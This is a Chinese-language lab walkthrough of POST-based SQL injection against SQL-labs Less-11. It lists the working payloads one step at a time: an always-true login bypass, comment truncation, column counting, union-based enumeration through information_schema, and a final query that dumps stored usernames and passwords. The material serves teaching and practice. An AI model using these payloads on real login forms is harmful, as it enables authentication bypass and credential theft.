文章目录
- 注入流程
- 正常尝试弱口令登录
- 判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行
- 尝试是否需要闭合语句
- 尝试注释掉后面得语句
- 判断字段数
- 判断显错位
- 判断当前数据库名
- 判断当前数据库下的表名
- 判断当前数据库下users表的列名
- 获取'username''password'具体数据
什么是post呢?
( 就是数据从客户端提交到服务器端,例如我们在登录过程中,输入用户名和密码,用户名和密码以表单的形式提交,提交到服务器后服务器再进行验证。这就是一次post的过程的。)
POST和GET得区别
(POST不会在URL栏里面显示 传参可以很长 不会进行URL编码 GET注入传参在URL栏 POST注入传参在表单)
靶场:SQL labs - Less-11
注入流程
正常尝试弱口令登录
username = admin
password = 123456
发现页面不回显
判断是否存在注入,是否会将用户输入拼接到sql语句,并当做代码执行
username = admin or 1=1
password = 123456
发现页面还是不回显任何东西
尝试是否需要闭合语句
username = admin'or'1'='1
password = 123456
发现登录成功。
那么原因是什么呢,因为即使admin不成立那后面得 or 1=1 恒等式成立,那么这条语句也是成立的并且把用户得传参当成了代码执行了所以存在POST注入类型得sql注入漏洞。
尝试注释掉后面得语句
username = admin'--+
password = 123456
发现报错了,通过报错可以猜测正常得SQL语句为以下:
@$sql="SELECT username, password FROM users WHERE username='admin' and password='$passwd' LIMIT 0,1";
由于我们得目的不是为了报错,而是为了注释掉后面得语句并且语句能正常运行,正常情况下应该是不会报错得,所以我这边猜测是过滤了 ‘–+’ 注释符,尝试 ‘#’ 注释符发现页面正常
username = admin'#
password = 123456
判断字段数
username = admin'and'1'='2' order by 1 #
username = admin'and'1'='2' order by 2 #
username = admin'and'1'='2' order by 3 #
发现到3得时候报错了,由此判断字段数为2
判断显错位
username = admin'and'1'='2' union select 1,2 #
判断当前数据库名
username = admin'and'1'='2' union select 1,database() #
发现当前数据库名为'security'
判断当前数据库下的表名
username = admin'and'1'='2' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security' #
发现存在 'emails,referers,uagents,users' 表
判断当前数据库下users表的列名
username = admin'and'1'='2' union select 1,group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users' #
发现存在'username''password'列
获取’username’'password’具体数据
username = admin'and'1'='2' union select 1,group_concat(username,password) from users #